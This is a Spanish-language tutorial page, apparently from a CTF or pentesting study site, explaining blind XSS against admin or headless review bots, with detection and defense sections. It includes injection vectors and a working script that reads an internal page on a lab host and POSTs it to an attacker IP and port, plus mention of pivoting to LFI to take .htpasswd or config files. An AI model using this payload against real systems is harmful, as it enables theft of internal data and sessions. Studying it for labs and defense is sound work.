the_open_door
café
ESEN
← Volver al índice

Blind XSS (Bot & Exfiltration)

Arsenal completo de comandos en la cheatsheet

Un XSS se vuelve mucho más potente cuando hay un usuario interno que abre lo que le enviamos: un administrador, un revisor de tickets o un bot headless que renderiza el contenido. Es el patrón del XSS ciego: nosotros no vemos el resultado en nuestro navegador, pero otro ejecuta nuestro JavaScript en su contexto, con su sesión y su red.

El flujo típico tiene tres piezas:

  1. Inyección. Un campo que se renderiza sin sanear (un visor de Markdown, un comentario, un nombre). Un clásico es <img src=x onerror=...> o un <script> directo.
  2. Entrega. Un canal por el que el contenido llega a la víctima: un enlace "compartir", un formulario de Contact Us, un ticket. Si al enviarlo recibimos una petición a nuestro servidor (un fetch a una IP controlada), confirmamos que alguien lo abre (a menudo se delata con un User-Agent de HeadlessChrome).
  3. Exfiltración. Como el JS corre en el origen de la víctima, puede leer recursos internos que nosotros no alcanzamos (mismo origen, su sesión) y mandárnoslos:
<script>
fetch("http://victima.htb/recurso-interno")
  .then(r => r.text())
  .then(d => fetch("http://10.10.10.10:4444/", { method:"POST", body:d }));
</script>

A partir de ahí se encadena: leer una página solo accesible desde dentro, descubrir un parámetro vulnerable y, por ejemplo, pivotar a un LFI para sacar un .htpasswd o un fichero de configuración. El XSS es el navegador prestado; el daño real viene de lo que ese navegador puede tocar.

Cómo detectarlo. La firma tiene dos caras. En la entrada, contenido almacenado con <script>, onerror=, fetch( o document.cookie en campos que no deberían llevar HTML (escaneo de contenido/WAF). En la salida, el bot de revisión (User-Agent HeadlessChrome) haciendo una petición saliente a una IP externa poco después de renderizar contenido de usuario, y a menudo una lectura previa de un recurso interno que ese bot sí alcanza: ese egreso desde el host del bot es el indicador más fiable. Los informes de violación de CSP también lo delatan.

Defensa. Sanear y codificar toda entrada que se renderice (escapar HTML, CSP estricta), HttpOnly en las cookies, y aislar los bots de revisión para que no tengan acceso privilegiado a recursos internos.

HerramientasXSStrikeBeEF

Máquinas donde se aplica